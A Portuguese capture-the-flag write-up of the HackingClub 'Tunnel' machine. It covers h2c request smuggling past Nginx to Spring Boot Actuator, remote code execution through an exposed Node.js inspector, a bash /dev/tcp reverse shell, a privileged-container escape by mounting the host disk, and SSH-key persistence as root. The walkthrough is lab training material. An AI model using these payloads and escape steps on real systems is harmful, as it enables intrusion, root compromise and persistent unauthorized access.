Tunnel - Desafio Hacker [HackingClub]
Resolvendo máquina nível médio da Hacking Club sobre h2c request smuggling, RCE e Docker escape
Writeup: Tunnel (HackingClub Machine)
HTTP/2 Cleartext Tunnel (h2c), Nginx Bypass, Node Inspector RCE e Docker Escape
Eu fiz esse desafio em meu ambiente de trabalho com Windows 11 via WSL. Utilizei tanto o terminal do windows - com meu kali sem interface gráfica -, como também aproveitei o WSL2 que me permite executar o Kali Linux com interface gráfica utilizando a tecnologia de virtualização Hyper-V. Em outras palavras, tudo foi realizado dentro de um ambiente já configurado e com ferramentas complementares instaladas. Se faz necessário já ter conhecimento prévio em determinadas coisas como Linux/Bash, Redes - como protocolo HTTP -, Fuzzing, Docker, JAVA e JavaScript para resolver esta máquina.
1. Enumeração Inicial e Fuzzing
1.1 Scan de portas
1
nmap -sV 172.16.3.113
1
rustscan -a 172.16.3.113
Resultado da enumeração: Identificando duas portas abertas:
- Porta 22 (SSH)
- Porta 8000 (HTTP) ← Foco principal da análise
1.2 Fuzzing inicial
1
2
ffuf -c -u http://172.16.3.113:8000/FUZZ \
-w ~/SecLists/Discovery/Web-Content/raft-large-words.txt -t 150
Descobertas importantes:
1
2
3
/error → Whitelabel Error Page
/actuator → 403 Forbidden
/actuators → 403 Forbidden
Análise técnica: A presença de “Whitelabel Error Page” e o diretório “actuator” indica Spring Boot Framework. Esta identificação nos permite usar wordlists específicas para enumerar endpoints do Spring Boot Actuator.
2. Enumeração específica para Spring Boot
2.1 Wordlist especializada
1
2
ffuf -c -u http://172.16.3.113:8000/FUZZ \
-w /home/matheus/SecLists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt -t 150
Resultados obtidos:
- Diversos endpoints do Spring Boot encontrados (
/actuator/env,/actuator/heapdump, etc.) - Todos retornando 403 Forbidden → Filtrados pelo Nginx reverse proxy
Conclusão da enumeração:
✅ Backend expõe endpoints sensíveis
❌ Nginx bloqueia requisições externas
3. Indicativo de HTTP/2 Tunnel / h2c
A descrição da máquina menciona “HTTP/2 tunneling”, indicando vulnerabilidade de Request Smuggling via HTTP/2 Cleartext (h2c).
4. HTTP/2 Cleartext Upgrade Bypass - h2c Smuggling
4.1 Conceitos fundamentais
HTTP/2 Cleartext (h2c) é uma extensão do protocolo HTTP/2 que permite comunicação sem TLS/SSL, utilizando o mecanismo de upgrade HTTP/1.1 definido na RFC 7540.
Request Smuggling é uma técnica que explora diferenças na interpretação de requisições HTTP entre proxies/load balancers e servidores backend, permitindo bypass de controles de segurança.
4.2 Cenário da vulnerabilidade
1
cliente → nginx (HTTP/1.1 proxy) → backend (Spring Boot + h2c support)
4.3 Como o bypass funciona tecnicamente
Cliente envia requisição de upgrade:
1 2 3 4 5
GET / HTTP/1.1 Host: target.com Connection: Upgrade, HTTP2-Settings Upgrade: h2c HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
- Nginx processa e repassa a requisição porque:
- Não valida adequadamente headers de upgrade H2C
- Confia que o backend rejeitará upgrades inválidos
- Implementação de proxy não considera implicações de segurança do upgrade
Backend (Spring Boot) responde com upgrade bem-sucedido:
1 2 3
HTTP/1.1 101 Switching Protocols Connection: Upgrade Upgrade: h2c
Nginx estabelece túnel TCP transparente entre cliente e backend
- Tráfego subsequente bypassa completamente as ACLs do Nginx pois:
- Comunicação agora é HTTP/2 binário
- Nginx não consegue mais inspecionar/filtrar requisições
- Todas as regras de proxy_pass são ignoradas
4.4 Implicações de segurança do bypass
Isso permite acessar endpoints críticos do Spring Boot Actuator que estavam protegidos:
/actuator/env- Exposição de variáveis de ambiente (credenciais, flags, configurações)/actuator/heapdump- Dump completo da memória heap da JVM/actuator/threaddump- Estado atual de todas as threads/actuator/configprops- Propriedades de configuração da aplicação
Por que o Actuator é crítico: O Spring Boot Actuator fornece endpoints de monitoramento e gestão que nunca deveriam ser expostos publicamente. São destinados apenas para administração interna e debugging.
Riscos críticos do /heapdump:
- Contém toda a memória ativa da aplicação Java
- Pode expor senhas em texto claro, tokens de sessão, dados de usuários
- Histórico de todas as requisições HTTP processadas
- Strings de conexão com banco de dados
- Chaves criptográficas em memória
Entendendo o Spring Boot Actuator
O que é o Spring Boot Actuator? É um módulo que adiciona funcionalidades de produção-ready para aplicações Spring Boot, incluindo métricas, health checks, e informações sobre a aplicação.
Endpoints críticos comuns:
/actuator/health- Status de saúde da aplicação/actuator/info- Informações da aplicação/actuator/metrics- Métricas de performance/actuator/env- Variáveis de ambiente/actuator/configprops- Propriedades de configuração/actuator/beans- Beans do Spring Context/actuator/mappings- Mapeamentos de endpoints/actuator/heapdump- Dump da memória heap/actuator/threaddump- Dump das threads/actuator/loggers- Configuração de logs
Por que é perigoso expor publicamente:
- Vazamento de informações sensíveis
- Credenciais em variáveis de ambiente
- Detalhes da arquitetura interna
- Possível manipulação de configurações
- DoS através de operações custosas
Configuração segura:
1
2
3
4
5
6
7
8
management:
endpoints:
web:
exposure:
include: health,info # Apenas endpoints seguros
endpoint:
health:
show-details: never # Não mostrar detalhes sensíveis
Recomendo a leitura da publicação Analisando o heapdump do Spring Boot Actuator do blog da Crowsec
5. Exploração com h2csmuggler
Documentação recomendada: h2c Smuggling: Request Smuggling Via HTTP/2 Cleartext (h2c)
5.1 Instalação e configuração
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Instalação da ferramenta python [github]
# clone do repositório feito para /home/matheus/tools/h2csmuggler
cd tools #entrando na minha pasta tools dentro da home | se não tiver essa pasta crie com o "mkdir tools"
git clone https://github.com/BishopFox/h2csmuggler
cd h2csmuggler
pip3 install h2
#pip3 install h2 --break-system-packages
#pip3 install -r requirements.txt -> caso tenha o arquivo (nesse caso n precisa ter, apenas fzr com 'h2' direto)
python3 ./h2csmuggler.py -h
# Configurando alias para execução global
nano ~/.bashrc
# Adicionar no final do arquivo:
alias h2csmuggler='python3 ~/tools/h2csmuggler/h2csmuggler.py'
# Aplicando atalho
source ~/.bashrc
5.2 Testando vulnerabilidade
1
h2csmuggler -x http://172.16.3.113:8000 --test
Resultado:
1
[INFO] Success http://172.16.3.113:8000/ can be used for tunneling
5.3 Acessando endpoint bloqueado
1
h2csmuggler -x http://172.16.3.113:8000 http://backend/actuator
Resultado:
- Acesso ao conteúdo JSON do Actuator ✅
- Bypass confirmado ✅
5.4 Explorando variáveis de ambiente
1
h2csmuggler -x http://172.16.3.113:8000 http://backend/actuator/env
Se formos ao final do arquivo poderemos identificar o JSON que esperamos do /env
6. Informações sensíveis encontradas no /actuator/env
Ao analisar o JSON retornado do /env (utilizando um formatter para melhor legibilidade), identificamos
🚩 A PRIMEIRA FLAG ENCONTRADA:
1
hackingclub{c71b3ebb3e25f3c8304d90***************309a3f}
- Não se acostume com a flag estando visível na imagem acima, a próxima você terá que botar a mão na massa para achar!
6.1 Endpoints importantes descobertos
Juntando o que encontramos anteriormente com esse json podemos identificar/mapear importantes pontos para exploração
Endpoints mapeados:
/actuator/env/actuator/heapdumpNODE_DEBUG_HOSTNODE_DEBUG_PATH- Rotas administrativas internas
🔍 Endpoint crítico descoberto:
1
/admin/internal-web-socket-endpoint
6.2 WebSocket - Conceito básico
WebSocket é um protocolo de comunicação que estabelece uma conexão bidirecional e persistente entre cliente e servidor sobre uma única conexão TCP. Diferente do HTTP tradicional (request/response), o WebSocket permite que ambas as partes enviem dados a qualquer momento após o handshake inicial (processo de “aperto de mão” onde cliente e servidor negociam e estabelecem a conexão WebSocket).
Características principais:
- Conexão persistente: Uma vez estabelecida, permanece aberta
- Baixa latência: Não há overhead de headers HTTP em cada mensagem
- Bidirecional: Cliente e servidor podem enviar dados simultaneamente
- Protocolo: Inicia com HTTP upgrade, depois muda para
ws://ouwss://
Casos de uso comuns:
- Chat em tempo real
- Jogos online
- Streaming de dados
- Debugging remoto ← Nosso caso específico
6.3 Chrome DevTools Protocol (CDP) - Contexto técnico
O endpoint descoberto expõe o Chrome DevTools Protocol (CDP), um protocolo de debugging baseado em WebSocket usado por:
- Chrome DevTools
- Node.js Inspector
- Puppeteer
- Ferramentas de automação de browser
Como funciona:
- Comunicação via WebSocket usando mensagens JSON
- Permite controle total sobre o runtime JavaScript
- Acesso a APIs de sistema através do contexto Node.js
- Originalmente projetado para debugging, mas pode ser abusado para RCE
Domínios críticos do CDP:
- Runtime - Execução de código JavaScript arbitrário
- Debugger - Controle de breakpoints e execução
- Profiler - Análise de performance
- Console - Interação com console JavaScript
⚠️ Implicação de segurança: CDP nunca deve ser exposto publicamente pois permite execução de código arbitrário com os privilégios do processo Node.js.
7. Explorando o modo debug do Node.js
7.1 Primeiro teste HTTP normal
Utilizando o Postman, com proxy já configurada para testar, vamos selecionar não apenas a opção WebSocket como também HTTP :
1
GET http://172.16.3.113:8000/admin/internal-web-socket-endpoint/
Retorno (mesmo de browser):
1
WebSocket request was expected
Análise:
✅ Endpoint válido
❌ Requer WebSocket (HTTP não aceito)
7.2 Tentando conexão WebSocket
Testando WebSocket:
1
ws://172.16.3.113:8000/admin/internal-web-socket-endpoint/
Resultado:
1
Unexpected server response: 400
Conclusão: Não é o WebSocket principal, falta descobrir o caminho correto.
8. Descobrindo WebSocket real via DevTools API
8.1 Como funciona o Node.js Inspector
O Node.js Inspector expõe uma API HTTP para discovery de sessões de debugging ativas:
Endpoints padrão do Inspector:
/jsonou/json/list- Lista sessões de debugging/json/version- Versão do protocolo/json/activate/<id>- Ativa uma sessão/ws/<id>- WebSocket endpoint para debugging
8.2 Discovery da sessão ativa
Testando endpoint de discovery:
1
GET http://172.16.3.113:8000/admin/internal-web-socket-endpoint/json/list
Resultado: JSON contendo informações da sessão de debugging:
1
2
3
4
5
6
7
{
"id": "7efa5220-45c7-44c2-b367-d9068de778bd",
"title": "/app/server.js",
"type": "node",
"url": "file://app/server.js",
"webSocketDebuggerUrl": "ws://172.16.3.113/7efa5220-45c7-44c2-b367-d9068de778bd"
}
Análise importante: A URL do WebSocket debug usa a URL com ID. Como estamos acessando via /admin/internal-web-socket-endpoint/ como “raiz” do debug, devemos testar:
1
ws://172.16.3.113:8000/admin/internal-web-socket-endpoint/7efa5220-45c7-44c2-b367-d9068de778bd
✅ Conexão WebSocket aceita com sucesso no Postman.
9. Obtendo RCE via Chrome DevTools Protocol
9.1 Testando estrutura da mensagem CDP
Primeira tentativa:
1
{}
Erros obtidos:
- Falta campo obrigatório
id(integer) - Falta campo obrigatório
method(string)
9.2 Estrutura correta do Chrome DevTools Protocol
Consultando a documentação oficial, a ESTRUTURA correta é:
1
2
3
4
5
6
7
{
"id": 1,
"method": "Domain.methodName",
"params": {
"parameterName": "value"
}
}
Detectamos “parâmetros” na estrutura, assim sendo, teremos que identificar não apenas métodos quaisquer, mas algum que tenha como parâmetro alguma função de execução para injetarmos algum código malicioso, então devemos voltar para a documentação oficial, pesquisar e identificá-los.
Método aparentemente crítico para RCE identificado: Runtime.evaluate indica permitir execução de JavaScript arbitrário.
9.3 Descobrindo parâmetros obrigatórios
Consultando Runtime.evaluate:
Sobre o método Runtime.evaluate:
- Permite executar código JavaScript arbitrário no contexto do runtime alvo
- Funciona como um “eval()” remoto através do Chrome DevTools Protocol
- Extremamente poderoso: pode acessar APIs do Node.js, sistema de arquivos, rede, etc.
- Originalmente criado para debugging, mas pode ser abusado para Remote Code Execution (RCE)
Parâmetro obrigatório: expression (string)
- Contém o código JavaScript que será executado
- Pode ser desde expressões matemáticas simples (
2+4) até scripts complexos - No contexto Node.js, permite acesso a módulos como
fs,child_process, etc.
9.4 Testando execução de código
Payload de teste:
1
2
3
4
5
6
7
{
"id": 1,
"method": "Runtime.evaluate",
"params": {
"expression": "7*7;"
}
}
Resultado:
1
2
3
4
5
6
7
{
"result": {
"type": "number",
"value": 49,
"description": "49"
}
}
✅ Execução de JavaScript confirmada
✅ RCE já é quase uma realidade, estamos muito próximo dele
10. Payload RCE via child_process - Análise técnica
10.1 Como funciona a execução de comandos em Node.js
O Node.js fornece o módulo child_process para executar comandos do sistema operacional:
1
2
3
4
5
6
7
8
9
const { exec, execSync } = require('child_process');
// Assíncrono
exec('whoami', (error, stdout, stderr) => {
console.log(stdout);
});
// Síncrono
const result = execSync('whoami').toString();
10.2 Construindo payload via DevTools Protocol
Acessando require através do contexto global:
1
2
// Usando process.mainModule
process.mainModule.require('child_process')
Resumindo payload:
Ao chamarmos o processo/módulo principal process.mainModule teremos acesso ao módulo require e então incluir child process - a biblioteca do JS para execução de comando -, para assim chamar o método exec e, obviamente, executar o comando que queremos.
1
process.mainModule.require('child_process').exec('COMANDO_DESEJADO')
A execução não pode quebrar o JSON e, portanto, precisamos colocar o comando escapando aspas. Vamos aproveitar e atualizar nosso payload com sincronização e string de saída.
Por que trocar para execSync:
- Execução síncrona = resposta imediata
.toString()converte Buffer para string- Mais fácil de debuggar via CDP
10.3 Construção da payload final
Adaptando payload - Escapando caracteres para JSON:
1
2
3
4
5
6
7
8
9
10
11
12
13
// Temos: process.mainModule.require('child_process').exec("");
//
// O comando que queremos executar inicialmente para identificação: id
//
// Modernizando
// * process.require('child_process').exec("id");
// Adaptando
// * process.require('child_process').execSync(\"id\").toString();
//
// Payload:
// process.require('child_process').execSync(\"id\").toString();
// É necessário mainModule
process.mainModule.require('child_process').execSync(\"id\").toString();
→ Trocaremos o .exec para .execSync, pois assim poderemos ver o output na hora, como falamos anteriormente;
→ Podemos adicionar o toString para colocar o output do comando em string;
→ Precisaremos evitar que o JSON não quebre escapando aspas (\ “ \ “);
Payload completa:
1
2
3
4
5
6
7
{
"id": 1,
"method": "Runtime.evaluate",
"params": {
"expression": "process.mainModule.require('child_process').execSync(\"id\").toString();"
}
}
Resultado:
1
uid=0(root) gid=0(root) groups=0(root)
🔥 RCE como root dentro do container Node.js
Agora basta apenas executarmos via bash nossa shell reversa para acessar a máquina
11. Estabelecendo Reverse Shell
11.1 Conceito técnico
Reverse shell inverte a direção típica de conexão:
- Shell normal: Cliente conecta ao servidor
- Reverse shell: Servidor conecta de volta ao cliente
Vantagens:
- Bypassa firewalls que bloqueiam conexões de entrada
- Funciona através de NAT/proxy
- Mais difícil de detectar
11.2 Implementação
Listener na máquina atacante:
1
nc -lvnp 8000
Payload via DevTools Protocol:
Entendendo o que vamos fazer
Antes de executar, vale explicar rapidamente os conceitos por trás da técnica:
Reverse Shell é quando invertemos a lógica de conexão - ao invés do atacante se conectar na vítima, fazemos a vítima se conectar no atacante. Isso é muito útil porque a maioria dos firewalls bloqueia conexões de entrada, mas não de saída.
Payload basicamente é o código malicioso que será executado na máquina alvo.
O processo funcionará assim, veja:
- Deixamos o netcat escutando na nossa máquina (
nc -lvnp 8000), no aguardo da “comunicação” com o alvo - Executamos um comando na vítima que força ela a estabelecer uma conexão com a nossa máquina
- Quando conectado, temos então um shell completo
Nossa payload vai usar Node.js para executar um comando bash que estabelece essa conexão reversa. O child_process.execSync() permite executar comandos do sistema através do JavaScript.
O comando bash em si:
Chamaremos a bash através do caminho completo /bin/bash com -c para execução de um comando específico.
bash -iabre um shell interativo>& /dev/tcp/IP/PORTAredireciona a saída para uma conexão TCP0>&1faz a entrada também usar essa mesma conexão- Resultado: tudo fica conectado entre as duas máquinas
1
/bin/bash -c 'bash -i >& /dev/tcp/10.0.30.175/8000 0>&1'
Agora basta executar um reverse shell para ter acesso direto à máquina:
1
2
3
4
5
6
7
{
"id": 1,
"method": "Runtime.evaluate",
"params": {
"expression": "process.mainModule.require('child_process').execSync(\"/bin/bash -c 'bash -i >& /dev/tcp/10.0.30.175/8000 0>&1'\")"
}
}
✅ Resultado: Shell reversa obtida como root no container
12. Identificando container e melhorando TTY
12.1 Análise do ambiente
Explorando o ambiente obtido:
1
ls -la
Indicadores de container Docker:
- Hostname com ID randômico
- Presença do arquivo
/.dockerenv
Conclusão: Estamos como root dentro de um container Docker, não na máquina principal. Necessário Docker Escape para a flag final.
12.2 Melhorando interação da shell
A shell reversa inicial é bem limitada - não conseguimos usar setas, tab para autocompletar, Ctrl+C sem matar a conexão, clear, ou colar comandos direito. Isso acontece porque não temos um PTY (Pseudo Terminal) alocado. Vamos melhorar isso:
1
2
3
4
cd /root
ls -la
which script # Disponível
#whereis python
Entendendo o processo de upgrade:
O upgrade de shell envolve três etapas principais:
- Spawnar um PTY - Criar um pseudo-terminal que permite interatividade
- Configurar o terminal local - Fazer nosso terminal passar os caracteres “crus” para a conexão
- Configurar variáveis de ambiente - Informar ao sistema remoto qual tipo de terminal estamos usando
Sequência de upgrade que funciona:
1
2
3
# 1. Primeiro upgrade básico - spawn de PTY
script /dev/null -c bash
#python -c "import pty;pty.spawn('/bin/bash')"
O comando script normalmente grava sessões de terminal, mas aqui usamos um truque: direcionamos para /dev/null (descartando a gravação) e executamos bash. Isso força a alocação de um PTY. A alternativa com Python faz o mesmo usando a biblioteca pty.
1
2
3
4
5
6
7
# 2. Configurar variáveis de ambiente (pode ser feito agora ou após o passo 4)
export TERM=xterm
export SHELL=bash
# Nota: TERM=xterm é o essencial - define o tipo de terminal e permite que
# programas como clear, vim, nano funcionem corretamente (cores, cursor, etc).
# SHELL=bash apenas indica a shell preferida do usuário, mas não afeta a
# interatividade. Na prática, só o TERM=xterm já resolve; SHELL é opcional.
A variável TERM=xterm informa ao sistema qual tipo de terminal estamos usando, permitindo que programas como clear, nano, vim funcionem corretamente. Pode ser configurada antes ou depois do próximo passo.
1
2
# 3. Background da conexão e fix do terminal
# Pressione Ctrl+Z para colocar a conexão em background
O Ctrl+Z suspende o processo do netcat (coloca em background) e te retorna para sua máquina local. Não se preocupe, a conexão não foi perdida!
1
2
3
# 4. Na SUA máquina local, execute:
stty raw -echo; fg
# Agora pressione Enter duas vezes
O que esse comando faz:
stty raw- Coloca o terminal em modo “raw”, passando todos os caracteres diretamente sem interpretação local (incluindo Ctrl+C, setas, etc.)-echo- Desativa o echo local (evita ver os caracteres duplicados)fg- Traz o netcat de volta para foreground, reconectando à shell remota
1
2
3
4
# 5. Voltou para a máquina conectada via netcat
# Se não configurou TERM antes, faça agora:
export TERM=xterm
# reset # Reset final (opcional - limpa a tela e reinicia o terminal)
Nota: O Ctrl+Z pode parecer estranho, já que você vai sair da máquina aparentemente e voltar para a sua, mas relaxa - é parte do processo. O stty precisa ser executado no seu terminal local para configurar como os caracteres são enviados pela conexão.
Resumo da ordem:
script /dev/null -c bash(no alvo)export TERM=xterm(no alvo - opcional aqui)Ctrl+Z(suspende)stty raw -echo; fg(na sua máquina)export TERM=xterm(no alvo - se não fez antes)
12.3 Análise da topologia de rede
1
hostname -I # IP interno do container
Resultado: 172.18.0.3
INTERPRETAÇÃO da rede Docker:
- Range
172.18.0.0/16= Rede bridge customizada 172.18.0.1= Gateway do Docker172.18.0.3= Nosso container atual- Host principal:
172.16.3.113(mesmo IP que acessamos o site) - Possíveis outros containers na rede
172.18.0.x
Opções realistas de movimento:
- Docker escape - Foco principal, se conseguirmos vai direto para o host
- Verificar devices montados -
ls /dev/para ver se temos acesso privilegiado - Enumerar capabilities - Testar se conseguimos fazer mount, acessar processos do host
- Network scan limitado - Container pode não ter ferramentas de rede adequadas
12.4 Automatizando Docker security assessment
deepce.sh é uma ferramenta especializada em:
- Enumerar capabilities do container
- Detectar possíveis vetores de escape
- Identificar configurações inseguras
- Testar permissões de arquivo/dispositivo
Transferindo a ferramenta:
Na máquina atacante:
1
2
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh #ou ir na pasta do seu deepce.sh
python3 -m http.server 8000 #abrir server para transferir o arquivo para o container
No container alvo:
1
2
3
wget 10.0.30.175:8000/deepce.sh #colocar seu IP externo de maquina
chmod +x deepce.sh #permissão ao script
./deepce.sh #executar script - vai acabar n sendo realmente necessário utilizar ele para resolvermos esse caso
12.5 Docker Capabilities e Containers Privilegiados
Linux Capabilities são um sistema de controle granular que divide os privilégios de root em unidades menores e específicas:
Container normal: Capabilities limitadas (ex: CAP_CHOWN, CAP_DAC_OVERRIDE)
Container privilegiado: Todas as capabilities + acesso a devices do host
Principais capabilities para escape:
- CAP_SYS_ADMIN - Permite mount de filesystems
- CAP_SYS_PTRACE - Debug de processos do host
- CAP_SYS_MODULE - Carregamento de módulos do kernel
- CAP_DAC_READ_SEARCH - Bypass de permissões de leitura
Verificação sem capsh: Sem a ferramenta capsh, testamos capabilities indiretamente:
- Tentativa de mount → testa CAP_SYS_ADMIN
- Acesso a
/proc/1/→ testa visualização de processos do host - Listagem de
/dev/→ verifica acesso a devices
Análise de partições:
1
2
3
disk -l # se disponível (não terá no container)
df -h # estará disponível e mostrará para você as partições que poderão talvez ser montados
lsblk # se disponível
A partição de maior tamanho (nvme) será nosso alvo para mount.
13. Docker Escape — Explorando Container Privilegiado
13.1 Técnica: Host Filesystem Mount
Em containers privilegiados, podemos montar partições do sistema host:
1
2
3
4
5
# Listar partições disponíveis
df -h
# Tentar montar a partição principal do host
mount /dev/nvme0n1p1 /mnt
Por que isso funciona:
- Container privilegiado tem CAP_SYS_ADMIN
- Acesso direto aos device nodes do host (
/dev/nvme0n1p1) - Capability permite mount de filesystems arbitrários
Resultado:
✅ Mount bem-sucedido → Container é privilegiado
✅ /mnt agora contém o filesystem completo do host
✅ /mnt/root = diretório /root do sistema hospedeiro
PRONTO!! Agora é só dar “cat root.txt” e ver a última flag que precisamos, mas ainda não estamos satisfeito. Faremos isso de outra forma, vamos estipular desafios. Só poderemos visualizar tal arquivo se estivermos conectados como root da máquina host principal e não apenas acessando a partição dessa máquina montada. Para isso, nós iremos nos conectar diretamente via conexão SSH.
13.2 Outras técnicas de escape (se mount falhasse)
Se por acaso o mount não funcionasse, existem outras maneiras de escapar de containers privilegiados:
nsenter com PID namespace compartilhado: Se o container tiver acesso aos processos do host (--pid=host), podemos usar nsenter para “entrar” no namespace do processo init do host:
1
nsenter -t 1 -m -p /bin/bash
Socket do Docker exposto: Alguns containers têm acesso ao socket do Docker montado. Isso permite criar novos containers com acesso total ao host:
1
docker -H unix://var/run/docker.sock run -it --privileged --pid=host alpine nsenter -t 1 -m -u -n -i bash
Escrita em devices de bloco: Com acesso aos device nodes (/dev/sda, /dev/nvme0n1), podemos escrever diretamente no disco:
1
2
# Muito perigoso - pode corromper o sistema
echo 'dados' > /dev/sda1
Carregamento de módulos do kernel: Com CAP_SYS_MODULE, podemos carregar módulos maliciosos no kernel do host.
Mas o mount é geralmente a técnica mais direta e confiável quando o container é privilegiado.
13.3 Acesso ao host via SSH (método alternativo)
Já conseguimos ver o conteúdo do host através do mount, mas vamos fazer algo mais elegante. Ao invés de só olhar os arquivos pela partição montada, que tal conseguir um shell SSH direto na máquina host?
A ideia é simples: como temos acesso de escrita ao diretório /root/.ssh/ do host (através do /mnt/root/.ssh/), podemos adicionar nossa chave pública SSH no arquivo authorized_keys. Depois disso, conseguimos conectar via SSH como se fôssemos um usuário legítimo.
Entendendo SSH e autenticação por chaves:
SSH (Secure Shell) é um protocolo de comunicação segura que permite conexão remota entre computadores. Existem duas formas principais de autenticação:
- Password: Usuário e senha (menos seguro)
- Chave pública/privada: Par de chaves criptográficas (mais seguro)
A autenticação por chaves funciona assim: você gera um par de chaves - uma privada (que fica secreta com você) e uma pública (que pode ser compartilhada). A chave pública é adicionada no arquivo ~/.ssh/authorized_keys do servidor, e quando você se conecta com sua chave privada, o SSH confirma que você possui a chave correspondente.
Dentro da máquina pessoal:
Primeiro, vamos gerar um par de chaves SSH na nossa máquina:
Gerando chave SSH:
1
2
3
# dentro do meu diretório organizado
ssh-keygen -t rsa -f rsa
cat rsa.pub | base64 -w0 | xclip -sel clip
Explicando os comandos:
ssh-keygen -t rsa -f rsa: Gera um par de chaves RSA. O-t rsaespecifica o tipo de criptografia, e-f rsadefine o nome dos arquivos (rsa e rsa.pub)cat rsa.pub: Mostra o conteúdo da chave pública (arquivo .pub)base64 -w0: Codifica em base64 sem quebras de linha (-w0). Isso facilita a transferência, pois evita problemas com caracteres especiaisxclip -sel clip: Copia o resultado para a área de transferência do sistema (clipboard). Assim podemos colar facilmente
O resultado será algo como uma string longa em base64 que contém nossa chave pública codificada.
Dentro da máquina alvo:
Agora, do container comprometido, vamos adicionar nossa chave pública ao arquivo authorized_keys do root no host. Como temos o filesystem montado em /mnt, podemos escrever diretamente:
Copiando chave para authorized_keys do host:
1
2
#echo '<base64_da_chave_publica_shift_ctrl_c>' | base64 -d >> /mnt/root/.ssh/authorized_keys
echo 'c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FENURmbGVNTStESmNiTUxUSFZRd3lQT2lrYmI0QjV4eUFNb1JPZmdUKzIwWWtJSmxpcE91M25jTTB1N2tJb2ZZTE1NUTY2ZzIycFVkZHNxWXNXclZyUnNGSjZEVEFVT0lubVlESHdjMlVZM0ZzWWdFUjBsV0RaTlJ5b2lTS3hNS2hLTW42VWxWc21GVGx2MDBDNGFrQml1MnlvQytVb2hWaDlYTDdsNFd2eE5EWk05TDF3b0wxdWtRZGUyMDUxd2lWakVKc1kvNXFoUGJzUUM1V2o5YmttNmdYcS96YVExdEQzVW9HbVZtMjhnN1dNMk1BNFVaWGVxOGw4Qnh2YVV5bFZDdU9nZW9NNW5lUlFFUUxiOERGWVdDZmVBYWF0SFBPaDdmTGZnQThkRUxHbS82VUFKSGtjSmJrdzdkMUdHeFRlQlZ1UENvM3FGVzFNbDVvVW1UZUVUNUduaVkwUzJQazlSYjZmblEyQnBUQXpOYmg0R2JFNVN2Ykt4Wjl5ZFFNdnlETUpicDNjYldLekhVdFFLQ0RTNEFJZGI0TW95ZUpzeUE3T1UwL2xkV2M3OCt2UFVoK1daZlIyRnFSSUtMbmdHRUtocDFueHRQRVVmeFpzY3BLSlNGRWEyTE5ZZENCbGtxcHowZDh5ejFvazBEeTdMOFhlUmtHbXhXOHlMQ2M9IG1hdGhldXNAbGFpZGxlcgo=' | base64 -d > authorized_keys
Explicando o processo de injeção:
echo 'string_base64': Enviamos a string em base64 que copiamos anteriormentebase64 -d: Decodifica a string base64 de volta para o formato original da chave SSH> authorized_keys: Redireciona a saída para o arquivo authorized_keys (sobrescrevendo o conteúdo)- O comando comentado mostra o caminho completo:
/mnt/root/.ssh/authorized_keys, pode ser util caso faça fora da pasta .ssh
Por que usar base64?
Usar base64 tem vantagens práticas importantes:
- Evita problemas de encoding: Chaves SSH contêm caracteres especiais que podem ser interpretados incorretamente pelo terminal
- Facilita copiar/colar: Uma string base64 é uma linha contínua, sem quebras que podem causar erros
- Transferência segura: Não há risco de caracteres serem modificados durante a cópia entre máquinas
- Compatibilidade universal: Base64 funciona em qualquer terminal, independente da configuração
Diferença entre > e >>:
> authorized_keys: Sobrescreve o arquivo, ou seja, apaga o conteúdo anterior (não teve caminho por já estar no diretório).>> /mnt/root/.ssh/authorized_keys: Adiciona ao final do arquivo, ou seja, preserva chaves existentes (exemplo fora da pasta).
No comando comentado usamos >> porque é mais seguro - preserva outras chaves SSH que possam existir no sistema. Isso evita quebrar o acesso de administradores legítimos que já tinham chaves configuradas. No nosso caso específico, como estávamos criando o arquivo do zero (primeira vez), tanto > quanto >> dariam o mesmo resultado.
Como a persistência funciona:
Uma vez que nossa chave pública está no arquivo authorized_keys do root, o sistema SSH reconhece nossa chave privada como autorizada. Isso significa que podemos nos conectar como root sem precisar de senha, e a conexão permanece válida até que alguém remova nossa chave do arquivo.
Essa técnica é muito usada por atacantes para manter acesso persistente a sistemas comprometidos, pois:
- É discreta (não aparece em logs de login como tentativas de senha)
- Funciona mesmo se senhas forem alteradas
- Permite acesso direto sem precisar repetir toda a exploração
Acesso SSH direto ao host:
1
2
3
4
5
matheus@laidler~/tunnel$ sudo ssh -i rsa root@172.16.3.113
#> yes
#...
root@ip-172-16-3-113~#
#pronto, entramos na máquina host como root direto.
✅ Root no host
✅ Comprometimento total
14. Capturando a flag final
Agora que temos acesso completo ao sistema, chegou a hora de pegar a segunda flag. Podemos fazer isso de duas formas: através da partição montada no container ou diretamente via SSH.
Via partição montada (dentro do container):
1
2
3
cd /mnt/root
ls -la
cat root.txt
Via host principal (SSH como root):
1
2
root@ip-172-16-3-113~# ls -la
root@ip-172-16-3-113~# cat root.txt
🚩 SEGUNDA FLAG ENCONTRADA:
1
hackingclub{d349c11e22a06b34d04e58***************6a0d302}
15. Investigando como tudo funcionou
Agora que temos controle total do sistema, vale a pena dar uma olhada “por trás das cortinas” para entender exatamente como as configurações permitiram nossa exploração. Isso vai nos ajudar a entender melhor as falhas de segurança e como corrigi-las.
Quando listamos o diretório root, vemos uma pasta stack - provavelmente onde estão os arquivos de configuração da aplicação:
1
2
3
ls -la
cd stack
ls
15.1 Examinando o docker-compose.yml
Dentro da pasta stack vemos vários arquivos interessantes. O mais importante é o docker-compose.yml, que nos mostra exatamente como toda a aplicação foi estruturada:
1
2
ls
# Dockerfile.proxy Dockerfile.spring app conf docker-compose.yaml spring
Vamos olhar o arquivo principal de orquestração para entender a arquitetura:
1
cat docker-compose.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
version: "3"
services:
backend:
restart: always
build:
context: .
dockerfile: Dockerfile.spring
environment:
- SPRING_PROFILES_ACTIVE=prod
- FLAG="hackingclub{c71b3ebb3e********************9a3f}"
- NODE_DEBUG_HOST="http://internal:8000/"
- NODE_DEBUG_PATH="/admin/internal-web-socket-endpoint"
proxy:
restart: always
build:
context: .
dockerfile: Dockerfile.proxy
ports:
- "8000:80"
depends_on:
- backend
- internal
links:
- backend
- internal
internal:
restart: always
image: node
user: "root"
command: "node --inspect=0.0.0.0:8000 /app/server.js"
volumes:
- ./app:/app
privileged: true
1
2
3
4
cd conf
ls
cat nginx.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
